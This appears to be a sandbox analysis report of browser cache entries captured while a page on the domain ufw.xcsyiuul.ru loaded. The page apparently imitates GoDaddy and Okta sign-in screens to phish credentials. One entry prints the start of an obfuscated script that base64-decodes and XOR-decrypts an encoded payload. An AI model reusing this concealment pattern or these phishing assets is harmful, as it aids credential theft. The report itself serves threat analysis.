                                                                                                                                                                                                                                  Preview:<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg">..<mask id="07b26034-56a3-49d2-8f26-c7b84eb4eed4" fill="#ffffff">..<path fill-rule="evenodd" clip-rule="evenodd" d="M23.9762 0C16.8244 0 10.9707 5.24325 10.335 12.9974C6.89614 14.0647 4.5 17.2233 4.5 20.9412C4.50019 20.968 4.50041 20.9949 4.50066 21.0218C4.50022 21.0574 4.5 21.093 4.5 21.1287C4.55021 28.2609 6.80967 39.1601 18.6091 46.4932C21.8225 48.5023 25.8896 48.5023 29.1532 46.4932C41.053 39.2103 43.3125 28.3111 43.3125 21.1287C43.3125 21.108 43.3124 21.0872 43.3123 21.0665C43.3124 21.0246 43.3125 20.9829 43.3125 20.9412C43.3125 17.3371 41.0055 14.1946 37.6702 13.0618C37.0607 5.27148 31.147 0 23.9762 0ZM12.2354 38.4694C14.3087 33.9987 18.8368 30.8981 24.0891 30.8981C29.2395 30.8981 33.6936 33.8797 35.8194 38.2109C33.9302 40.6119 31.4399 42.8954 28.1744 44.8939L28.1724 44.8952L28.1703 44.8965C25.5047 46.5374 22.2037 46.5293 19.6031 44.9034L19.6009 44.902L19.5988 44.9007C16.4876 42.9672 14

                                                                                                                                                                                                                                  Chrome Cache Entry: 117

                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                  File Type:Web Open Font Format (Version 2), TrueType, length 43596, version 1.0
                                                                                                                                                                                                                                  Category:downloaded
                                                                                                                                                                                                                                  Size (bytes):43596
                                                                                                                                                                                                                                  Entropy (8bit):7.9952701440723475
                                                                                                                                                                                                                                  Encrypted:true
                                                                                                                                                                                                                                  SSDEEP:
                                                                                                                                                                                                                                  MD5:2A05E9E5572ABC320B2B7EA38A70DCC1
                                                                                                                                                                                                                                  SHA1:D5FA2A856D5632C2469E42436159375117EF3C35
                                                                                                                                                                                                                                  SHA-256:3EFCB941AADDAF4AEA08DAB3FB97D3E904AA1B83264E64B4D5BDA53BC7C798EC
                                                                                                                                                                                                                                  SHA-512:785AB5585B8A9ED762D70578BF13A6A69342441E679698FD946E3616EF5688485F099F3DC472975EF5D9248AFAAD6DA6779813B88AA1DB60ABE2CC065F47EB5F
                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                  Reputation:unknown
                                                                                                                                                                                                                                  URL:https://ufw.xcsyiuul.ru/GDSherpa-vf.woff2
                                                                                                                                                                                                                                  Preview:wOF2.......L.......P..............................U...z...?HVAR.;?MVARF.`?STAT...H/L.....@..P..>.0....6.$..x. .....{[.q....Rl....t..~v....(....T.t.;..n'..v=....?...l].xI...m."..?hNX.,...8.;G...m,}.h.>(=[...m/.>....8&f..&.......].u...&.VD..].<..yR.eb<,x......)..c..t...k...9..o.T..R9..kq..TR%U..v....r._......D...f..=qH...8.<...x..(V.I.h.L3*#]8...-.z.........3.9V..........u.........x.....S_...\1...&6...j^...c;()m.J.....>....xz..Y...|.7......!.jw...,.L.;N.......n......].....8].R..d.....`.R.B..#..,...1R.UJD..b.`.0<....FA=..{.....`....c...R..Uy..J.k.".j..N.{w..UT<.8T66...H,...FH.GS.G.]......?.T.!4..8...B...l.p@.......t.o...v...b.g..?..m..!.%.....x..MC1M...........k...})..+N.....Q_yS.X.11a....&`..'".xZ..=b^...iD...} .. ..b...}DIvu.q....k.4.....@.....P*..j..)..'.L......b..RQjI*I..Qk.T.l._wO..$....!c..%.{.._N..E@....A...?...aW.y.gf.g.&E... ~.x.b....b...~......f/.....G....J.6.y.....zE@T.a.0^Ul......S:..,..}..B.R..Rt~.v...L:`4.IKA..V...x&@...h.7.P.....*.

                                                                                                                                                                                                                                  Chrome Cache Entry: 119

                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                  File Type:PNG image data, 420 x 94, 8-bit/color RGBA, non-interlaced
                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                  Size (bytes):10796
                                                                                                                                                                                                                                  Entropy (8bit):7.946024875001343
                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                  SSDEEP:
                                                                                                                                                                                                                                  MD5:12BDACC832185D0367ECC23FD24C86CE
                                                                                                                                                                                                                                  SHA1:4422F316EB4D8C8D160312BB695FD1D944CBFF12
                                                                                                                                                                                                                                  SHA-256:877AE491D9AAC5C6EF82A8430F9F652ACE8A0DBC7294BD112AAD49BD593769D0
                                                                                                                                                                                                                                  SHA-512:36C319AC7F75202190E7A59F3F3C92892A71D5F17663E672319A745B6574BCFDE7C89B35F480CB15A193924DACB9D67F8CA1E1BC2BF33FC5CCBFA152CC7BA2D0
                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                  Reputation:unknown
                                                                                                                                                                                                                                  Preview:.PNG........IHDR.......^.....l2`...).IDATx..}...U.... w...B..P$.Hv..t......x.EA@.Q`.E......-.".(..X`..D....5]]U}....$3...&...guOw..}>.....~....w.ZZ...z..FZ$I.$I....N.......tt.$e...M....ru$I.$IR.h.AvK0.t..wy.:.1...D.H...LS....iF~.X...smr.$I.$IR.4.....SY..@....h8.....*..dB...1.eG...$I.$.hZ...8.r...[.A.I..XE..hdA{Z..teaF...u:}.1^..-I.$I.FP.A..Nm..........A78...=.%W_.$I..8YQ.H2z#.D_...m..k..u.t..R6#.....N....){...$I..1@...g...@a ..u2..dL...*ai.d.[.$I..D.....OM..a...,h%u.B.....0...57..hrW..$I....Gf.|.=.eg`.........k.J.$IR..<.u....]....@.d...H..$I.$5..MWwu:....H|Y..,.$.I.$I....Qu...s.NzzM..]..;$ I.$IR......+..L9......63.I@.$I..z..#.....:..7...s..<$ I.$I.hP.tu...m"..o1.y.@..W1T<(..... z%."?.4zE..$ ..Y1z`.P..!....`t%t....[..d...N.UKy&.A;..6S...<...........o...]0...r.$I......0..R.....N.....0Wi._.;...M..Lrb{.7w..].jm.r....C...&..gd}..Etm}..~L.l...}n\'...$..Mr.i..{..n..9.....SwMh.}.Q{./wJ.....B]:.....+..\V...A.S.w..6.....,..[.......J@....-.4.....:..Zvt.r.*.

                                                                                                                                                                                                                                  Chrome Cache Entry: 120

                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                  File Type:very short file (no magic)
                                                                                                                                                                                                                                  Category:downloaded
                                                                                                                                                                                                                                  Size (bytes):1
                                                                                                                                                                                                                                  Entropy (8bit):0.0
                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                  SSDEEP:
                                                                                                                                                                                                                                  MD5:CFCD208495D565EF66E7DFF9F98764DA
                                                                                                                                                                                                                                  SHA1:B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
                                                                                                                                                                                                                                  SHA-256:5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
                                                                                                                                                                                                                                  SHA-512:31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                  Reputation:unknown
                                                                                                                                                                                                                                  URL:https://wvsdp.hxnywi.ru/loray!paq7g
                                                                                                                                                                                                                                  Preview:0

                                                                                                                                                                                                                                  Chrome Cache Entry: 122

                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                  File Type:RIFF (little-endian) data, Web/P image
                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                  Size (bytes):25216
                                                                                                                                                                                                                                  Entropy (8bit):7.947339442168474
                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                  SSDEEP:
                                                                                                                                                                                                                                  MD5:F9A795E2270664A7A169C73B6D84A575
                                                                                                                                                                                                                                  SHA1:0FBB60AB27AB88C064EB347D0722C8ED4CF5E8B8
                                                                                                                                                                                                                                  SHA-256:D00203B2EEA6E418C31BAAFA949ADA5349A9F9B7E99FA003AEC7406822693740
                                                                                                                                                                                                                                  SHA-512:E17C8D922F52C8AB36D9C0A7DC41D32735CF1680EA653056308C6D23255FDBE40B96C68F0E7F8B3B521B6ACB080CD825F94320364B0A70141606A4449D980517
                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                  Reputation:unknown
                                                                                                                                                                                                                                  Preview:RIFFxb..WEBPVP8X....0...o.....ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPH.Y....'$H..xkD....oUS..[.uM....CwI.H#.H.t(..!J.AJ# .(........0.W.?D...g.6..u......}K5.>|....^..*2.....z..../.1..F..A...Vk..W.Wm?z....H+.;:...s..Z;....V.....Z.gm.......\>.}..-.....w...D.........+,K...#......._[L.[.]w1..[.l..8.....f..E...W....;....o.Q...T`.W.(..........;^........:.T..6......Yo..x.6..n.\A.5X.........J....2.O.)....0..zdL1.x.X..e?.eA.M%f.D..W.].A=6D.....w....>.*3|M.7....aEe&l.or.Tt^.*6li..lYz.HF.....2.\...U.tfQ.<ZlHB.G--....]T..h.L.U]...m....{..T{....~......K#

                                                                                                                                                                                                                                  Chrome Cache Entry: 123

                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                  File Type:Web Open Font Format, TrueType, length 35970, version 1.0
                                                                                                                                                                                                                                  Category:downloaded
                                                                                                                                                                                                                                  Size (bytes):35970
                                                                                                                                                                                                                                  Entropy (8bit):7.989503040923577
                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                  SSDEEP:
                                                                                                                                                                                                                                  MD5:496B7BBDE91C7DC7CF9BBABBB3921DA8
                                                                                                                                                                                                                                  SHA1:2BD3C406A715AB52DAD84C803C55BF4A6E66A924
                                                                                                                                                                                                                                  SHA-256:AE40A04F95DF12B0C364F26AB691DC0C391D394A28BCDB4AEACFACA325D0A798
                                                                                                                                                                                                                                  SHA-512:E02B40FEA8F77292B379D7D792D9142B32DFCB887655A2D1781441227DD968589BFC5C00691B92E824F7EDB47D11EBA325ADE67AD08A4AF31A3B0DDF4BB8B967
                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                  Reputation:unknown
                                                                                                                                                                                                                                  URL:https://ufw.xcsyiuul.ru/GDSherpa-bold.woff
                                                                                                                                                                                                                                  Preview:wOFF..............$ .......\...&............DSIG...T............GPOS..........N..B..GSUB...`.........3y.OS/2.......F...`i.{[cmap...X.......<.?+.cvt ......./...<)...fpgm............?...gasp................glyf..!t..Ra....$.ihead..s....3...6..}.hhea..t....!...$....hmtx..t0.......x?s.#loca..w.........LC%.maxp..{X... ... .5..name..{x..........post..~@........1+.,prep.............P..x..\.tU..;y...!..!..R.4."(."*".U..V.]3...r..5c...j....._.7U...H..1MSE...0b..b&.......%..w...}.{.......u...s..g..soBLD~.C.)n..1.Q...z.q. ..R..)n.QY.v..{.(...o...O.......G...{to.~.....,..#<.w...W...?6..3....2.)O........].`_a..F'.6..."}&..$'.K...a..NK$..01ar......-.Do_. .H.].x'{....n....{.|.L.p..u...-.w}.}...~.....(.zP:..^t.=D?..i9.....m.......AE.......J.....j......q&_...`....P....M<.o.[.V....H..Sx:...<.g.....x>/.......^..x9.....Ws...&.....x....jUJ...B.S...2(_...U...Q...<..y.j.y...P.x.:....m+..V.....5h[.~E.WL..rp....0..*Pu..$OA....LJ.Y.....9.e...L..... /"?.m.......+..J.........

                                                                                                                                                                                                                                  Chrome Cache Entry: 125

                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                  File Type:HTML document, ASCII text, with very long lines (17093), with CRLF line terminators
                                                                                                                                                                                                                                  Category:downloaded
                                                                                                                                                                                                                                  Size (bytes):22128
                                                                                                                                                                                                                                  Entropy (8bit):5.9430452042409945
                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                  SSDEEP:
                                                                                                                                                                                                                                  MD5:0D4886FA0304B447E465C266D559119D
                                                                                                                                                                                                                                  SHA1:CC838B42CC09B11131E316A8F4759F87B4860FA7
                                                                                                                                                                                                                                  SHA-256:8B5D56EB8613FD76B9BB2751E825F5CE180801902281AFEA1F91AD8E8CD927D3
                                                                                                                                                                                                                                  SHA-512:7DE155D52948EA4F4B468AAF7DA046081777F6FDB82DA4FD772D0B32A16FB9553628129FC9C840DA8E0764329EFFD36664D175BA2C0C8281109986E269A8576D
                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                  Reputation:unknown
                                                                                                                                                                                                                                  URL:https://ufw.xcsyiuul.ru/VgRu6z/
                                                                                                                                                                                                                                  Preview:<script>..function oSupBmryjT(dauaxJglTY, tEVtBTOFpl) {..let QJDJpjNpti = '';..dauaxJglTY = atob(dauaxJglTY);..let eFjhdVFUNb = tEVtBTOFpl.length;..for (let i = 0; i < dauaxJglTY.length; i++) {.. QJDJpjNpti += String.fromCharCode(dauaxJglTY.charCodeAt(i) ^ tEVtBTOFpl.charCodeAt(i % eFjhdVFUNb));..}..return QJDJpjNpti;..}..var VpdYcmZtzL = oSupBmryjT(`WScFGCMnOUohPAZpRAI+Iz0ZaGFKNwkOL3knGycrFy1ICSU6YgAjOwAmH0d5eXtEYmAIPQhEICRvVG5hFjcUAzojc2dYchY3FAM6I20ZIC1Ydg4ePic+UH1hBjAIADl5LgY9OwEyCgs4MmMJPSNKNQwLMnghAzA9SjcUEzojIkc4PUpgSFtkZmIJIDcVIAlHICRjBzsgSz4VSHRrYhkxPAwkElRHXUBgbj0GJg8aPmlAYDwrEnQgHyQ0OQM9IE01EgUof2oLBRcCHyFfIjMgBjwXPQYQCSNifjAFBA43CwZ4DRUjNSgtIwEOeDs4MBV3VhgLJCI1ChIDLyISEw4NbjkjGjZdHS4OOjUgOCQqHGEACQ0/JQg8HBM2NShyMQ4oJxc9DhYweBF9CGEHEDA+JCY0Jiw8FDJhViYnOzgzYDZUDiE8MBwOIBEqPR4RIyM8PSMaPSsXDystHg4rNQcmFQEOeDs4MBV3VhgLEjwOfyxiLzJtEyMOZyojPwgMNlU8ehggICEXMmEUIyAkAyk8fisXCzg8Dn48JhQyYVYmJxEmMBcYVw4xX3oDCgYoKiICEzASHiIjPzoJMTE4PDN/XjsCJhYLDh1iJw4VIhM2DyslDRUwPiwLBRYjAiQDKTsPAh0l

                                                                                                                                                                                                                                  Chrome Cache Entry: 127

                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                  File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                                                  Category:downloaded
                                                                                                                                                                                                                                  Size (bytes):35786
                                                                                                                                                                                                                                  Entropy (8bit):5.058073854893359
                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                  SSDEEP:
                                                                                                                                                                                                                                  MD5:38501E3FBBBD89B56AA5BA35DE1A32FE
                                                                                                                                                                                                                                  SHA1:D9B31981B6F834E8480BA28FBC1CFF1BE772F589
                                                                                                                                                                                                                                  SHA-256:A1CA6B381CB01968851C98512C6E7F6C5309A49F7A16B864813135CBFF82A85B
                                                                                                                                                                                                                                  SHA-512:1547937AA9B366E76DE44933EF48EF60E3D043245E8E3E01C97DFC2981F6B1F61463D9D30992FBCF2CA25FC1B7B32FF808B9789CFB965D74455522FC58E0C08C
                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                  Reputation:unknown
                                                                                                                                                                                                                                  URL:https://ufw.xcsyiuul.ru/abzhFE3iD3pq0gh30
                                                                                                                                                                                                                                  Preview:#sections_godaddy {..font-family: gdsherpa !important;..}..#sections_godaddy a {.. color: var(--ux-2rqapw,#000);.. -webkit-text-decoration: var(--ux-1f7if5p,underline);.. text-decoration: var(--ux-1f7if5p,underline);.. background-color: transparent;..}....#sections_godaddy #root {.. flex: 1 1 0%;..}....#sections_godaddy a:hover {../* color: var(--ux-1j87vvn,#fff);*/.. -webkit-text-decoration: var(--ux-1ft0khm,underline);.. text-decoration: var(--ux-1ft0khm,underline);..}....#sections_godaddy svg {.. overflow: hidden;.. vertical-align: unset;..}....#sections_godaddy .ux-button {.. --ux-button-icon-margin: calc((var(--ux-t379ov,var(--ux-jw5s9j,1.5)) * 1em - 1.5em) / 2);.. padding: 0;.. text-decoration: var(--ux-1f7if5p,underline);.. -webkit-text-decoration: var(--ux-1f7if5p,underline);.. gap: 0.5em;.. cursor: pointer;.. --ux-button-icon-margin: calc((var(--ux-t379ov,var(--ux-jw5s9j,1.5)) * 1em - 1.5em) / 2);.. font-weight: inherit;.. background: transparent;.. gap:

                                                                                                                                                                                                                                  Chrome Cache Entry: 84

                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                  File Type:SVG Scalable Vector Graphics image
                                                                                                                                                                                                                                  Category:downloaded
                                                                                                                                                                                                                                  Size (bytes):270
                                                                                                                                                                                                                                  Entropy (8bit):4.840496990713235
                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                  SSDEEP:
                                                                                                                                                                                                                                  MD5:40EB39126300B56BF66C20EE75B54093
                                                                                                                                                                                                                                  SHA1:83678D94097257EB474713DEC49E8094F49D2E2A
                                                                                                                                                                                                                                  SHA-256:765709425A5B9209E875DCCF2217D3161429D2D48159FC1DF7B253B77C1574F4
                                                                                                                                                                                                                                  SHA-512:9C9CD1752A404E71772003469550D3B4EFF8346A4E47BE131BB2B9CB8DD46DBEF4863C52A63A9C63989F9ABEE775CB63C111ADD7AFA9D4DFC7A4D95AE30F9C6E
                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                  Reputation:unknown
                                                                                                                                                                                                                                  URL:https://ufw.xcsyiuul.ru/efMXjuZS5VoR0Ia55zkv7ijueNUTuPNX60HN78146
                                                                                                                                                                                                                                  Preview:<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12"><title>assets</title><rect width="12" height="12" fill="none"/><path d="M6.7,6,12,11.309,11.309,12,6,6.7.691,12,0,11.309,5.3,6,0,.691.691,0,6,5.3,11.309,0,12,.691Z" fill="#262626"/></svg>

                                                                                                                                                                                                                                  Chrome Cache Entry: 87

                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                  File Type:SVG Scalable Vector Graphics image
                                                                                                                                                                                                                                  Category:downloaded
                                                                                                                                                                                                                                  Size (bytes):268
                                                                                                                                                                                                                                  Entropy (8bit):5.111190711619041
                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                  SSDEEP:
                                                                                                                                                                                                                                  MD5:59759B80E24A89C8CD029B14700E646D
                                                                                                                                                                                                                                  SHA1:651B1921C99E143D3C242DE3FAACFB9AD51DBB53
                                                                                                                                                                                                                                  SHA-256:B02B5DF3ECD59D6CD90C60878683477532CBFC24660028657F290BDC7BC774B5
                                                                                                                                                                                                                                  SHA-512:0812DA742877DD00A2466911A64458B15B4910B648A5E98A4ACF1D99E1220E1F821AAF18BDE145DF185D5F72F5A4B2114EA264F906135F3D353440F343D52D2E
                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                  Reputation:unknown
                                                                                                                                                                                                                                  URL:https://ufw.xcsyiuul.ru/rsBcnDvaiorUutbh5B3Adjnuv5P6J55tBLVCjJ9xNFEiXCcd195
                                                                                                                                                                                                                                  Preview:<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M10,32H38V18.125L24,25.109,10,18.125V32m.234-16L24,22.891,37.766,16H10.234M40,34H8V14H40Z" fill="#404040"/></svg>

                                                                                                                                                                                                                                  Chrome Cache Entry: 88

                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                  File Type:ASCII text, with very long lines (26765), with no line terminators
                                                                                                                                                                                                                                  Category:downloaded
                                                                                                                                                                                                                                  Size (bytes):26765
                                                                                                                                                                                                                                  Entropy (8bit):5.114987586674101
                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                  SSDEEP:
                                                                                                                                                                                                                                  MD5:1A862A89D5633FAC83D763886726740D
                                                                                                                                                                                                                                  SHA1:E5CE3AA454C992A13FD406A9647D7AFBF831051F
                                                                                                                                                                                                                                  SHA-256:5C22FD904EDB792331A7307DDF4A790E0D1318924F6D8E7362FA6B55D5AB6FBB
                                                                                                                                                                                                                                  SHA-512:3BFAB627DC0EBFAE1176098C870B4D2747518E7EA91646303276191A4A846D47B2E80BB1EE2FA67271130ECCBC8B1152778C99917FC6C63EA45A184BD673BF0D
                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                  Reputation:unknown
                                                                                                                                                                                                                                  URL:https://ufw.xcsyiuul.ru/12TvEGAMcd3aPS6720
                                                                                                                                                                                                                                  Preview:#authcalldesc,#sections,.text-m{font-size:.9375rem}*,input[type=radio]{box-sizing:border-box;padding:0}.alert,.radio label,.row.tile{margin-bottom:0}#sections,.input-group-addon,.table .table-cell,img{vertical-align:middle}#sections_doc .pdfheader #pageName,#sections_pdf .pdfheader #pageName,.row.tile,.row.tile:not(.no-pick):active,.row.tile:not(.no-pick):hover,input{color:inherit}.p,.subtitle,.text-body,.text-subtitle,h4{font-weight:400}*,.text-title{font-family:"Segoe UI","Helvetica Neue","Lucida Grande",Roboto,Ebrima,"Nirmala UI",Gadugi,"Segoe Xbox Symbol","Segoe UI Symbol","Meiryo UI","Khmer UI",Tunga,"Lao UI",Raavi,"Iskoola Pota",Latha,Leelawadee,"Microsoft YaHei UI","Microsoft JhengHei UI","Malgun Gothic","Estrangelo Edessa","Microsoft Himalaya","Microsoft New Tai Lue","Microsoft PhagsPa","Microsoft Tai Le","Microsoft Yi Baiti","Mongolian Baiti","MV Boli","Myanmar Text","Cambria Math"}*{margin:0}.websitesections{height:100%;width:100vw;position:relative}#sections_doc,#sections_go

                                                                                                                                                                                                                                  Chrome Cache Entry: 89

                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                  File Type:ASCII text, with very long lines (51734)
                                                                                                                                                                                                                                  Category:downloaded
                                                                                                                                                                                                                                  Size (bytes):222931
                                                                                                                                                                                                                                  Entropy (8bit):5.0213311632628725
                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                  SSDEEP:
                                                                                                                                                                                                                                  MD5:0329C939FCA7C78756B94FBCD95E322B
                                                                                                                                                                                                                                  SHA1:7B5499B46660A0348CC2B22CAE927DCC3FDA8B20
                                                                                                                                                                                                                                  SHA-256:0E47F4D2AF98BFE77921113C8AAF0C53614F88FF14FF819BE6612538611ED3D1
                                                                                                                                                                                                                                  SHA-512:1E819E0F9674321EEE28B3E73954168DD5AEF2965D50EE56CAD21A83348894AB57870C1C398684D9F8EAB4BBBEF5239F4AEA1DCAB522C61F91BD81CF358DA396
                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                  Reputation:unknown
                                                                                                                                                                                                                                  URL:https://ok4static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css
                                                                                                                                                                                                                                  Preview:@charset "UTF-8";.qtip{box-shadow:none;direction:ltr;display:none;font-size:10.5px;left:-28000px;line-height:12px;max-width:280px;min-width:50px;padding:0;position:absolute;top:-28000px}.qtip-content{word-wrap:break-word;padding:5px 9px;text-align:left}.qtip-content,.qtip-titlebar{overflow:hidden;position:relative}.qtip-titlebar{border-width:0 0 1px;font-weight:700;padding:5px 35px 5px 10px}.qtip-titlebar+.qtip-content{border-top-width:0!important}.qtip-close{border:1px solid transparent;cursor:pointer;outline:medium none;position:absolute;right:-9px;top:-9px;z-index:11}.qtip-titlebar .qtip-close{margin-top:-9px;right:4px;top:50%}* html .qtip-titlebar .qtip-close{top:16px}.qtip-icon .ui-icon,.qtip-titlebar .ui-icon{direction:ltr;display:block;text-indent:-1000em}.qtip-icon,.qtip-icon .ui-icon{-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;text-decoration:none}.qtip-icon .ui-icon{background:transparent none no-repeat -100em -100em;color:inherit;height:14px;line-heigh

                                                                                                                                                                                                                                  Chrome Cache Entry: 90

                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                  File Type:Web Open Font Format (Version 2), TrueType, length 28584, version 1.66
                                                                                                                                                                                                                                  Category:downloaded
                                                                                                                                                                                                                                  Size (bytes):28584
                                                                                                                                                                                                                                  Entropy (8bit):7.992563951996154
                                                                                                                                                                                                                                  Encrypted:true
                                                                                                                                                                                                                                  SSDEEP:
                                                                                                                                                                                                                                  MD5:17081510F3A6F2F619EC8C6F244523C7
                                                                                                                                                                                                                                  SHA1:87F34B2A1532C50F2A424C345D03FE028DB35635
                                                                                                                                                                                                                                  SHA-256:2C7292014E2EF00374AEB63691D9F23159A010455784EE0B274BA7DB2BCCA956
                                                                                                                                                                                                                                  SHA-512:E27976F77797AD93160AF35714D733FD9E729A9981D8A6F555807981D08D8175E02692AA5EA6E59CEBD33895F5F6A3575692565FDD75667630DAB158627A1005
                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                  Reputation:unknown
                                                                                                                                                                                                                                  URL:https://ufw.xcsyiuul.ru/GDSherpa-regular.woff2
                                                                                                                                                                                                                                  Preview:wOF2......o.......6x..oG...B.......................>....`..<.<..b.....h..B.6.$..x..>.. ..'..{...[x"q..].....hJ....'.......6.2.[....q....z..mCww...*.eU..S.........0..S.s..,....\.e..F.&....oU*R.}Q.C..2.TD....5..#..h.H.2.|<.1.z..].xZ...z..z..W.........p%..F.e.r"yG.......f.M3.].U.p...E..<..:..j..E......t....!....~a...J.m....f.d.eE..>.:.9.....,6K{.q..6e..4:z......{.{....$.. ...B....9:0.G..6.9R....m..jCW.m.]:{.p..?P.O.B..E....u.J.._..........dd=. l..SJ..fjm....\....)...6......mV.`.J.R.A..R.....J...T.y.........m...k-....{'.Ud"...C.$d*.N 9}.N]..2p.q.T..6.-A.U...."..o.\......uh...$..4j..v...9....anl/NT....K....k..A...........U5S.=.t[.)/s.R.......F..)6H A..'?!....7S.....w:.%.H.@...l?...lm..lUd D...-.... .......5).`..w&..Q....-.. ...9.Xt./SQ?.s+u.9..\.h.l.G.#.*..#@.F..f.1.f..=`....p.....=c..f=..p 4By.u.z'...$;.s.....z.....X..n6y-...........<.......X......~+j.z.j.......7.PD..O..w..9..8].!~C&.......*LCE..Nf~.N.eJ.iXnX*C.&....t.U..Nr.@..lZ.... .X..

                                                                                                                                                                                                                                  Chrome Cache Entry: 91

                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                  File Type:RIFF (little-endian) data, Web/P image
                                                                                                                                                                                                                                  Category:downloaded
                                                                                                                                                                                                                                  Size (bytes):644
                                                                                                                                                                                                                                  Entropy (8bit):4.6279651077789685
                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                  SSDEEP:
                                                                                                                                                                                                                                  MD5:541B83C2195088043337E4353B6FD60D
                                                                                                                                                                                                                                  SHA1:F09630596B6713217984785A64F6EA83E91B49C5
                                                                                                                                                                                                                                  SHA-256:2658B8874F0D2A12E8726DF78AC8954324C3BBE4695E66BDEF89195FDE64322F
                                                                                                                                                                                                                                  SHA-512:B2AE42BA9D3A63D3ACB179051B005F2589F147D94F044616AE5DC5705E873F16057C56934262841191263B4C35804EF188BD38CF69CCE0F4B2CF76C05F17B8AD
                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                  Reputation:unknown
                                                                                                                                                                                                                                  URL:https://ufw.xcsyiuul.ru/uvPOzBscrSmAFLpAg2cqrsnCCn8y62vf7Ds34130
                                                                                                                                                                                                                                  Preview:RIFF|...WEBPVP8X....0.........ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPHK....W`$....z..".Y..P}0;.PE..G..h....9.@..`..2.......=.T.....-3..ow.*...&......VP8 :...0....*....>m&.M.!"......i...O...(.........g....w...XG...

                                                                                                                                                                                                                                  Chrome Cache Entry: 92

                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                  File Type:ASCII text, with no line terminators
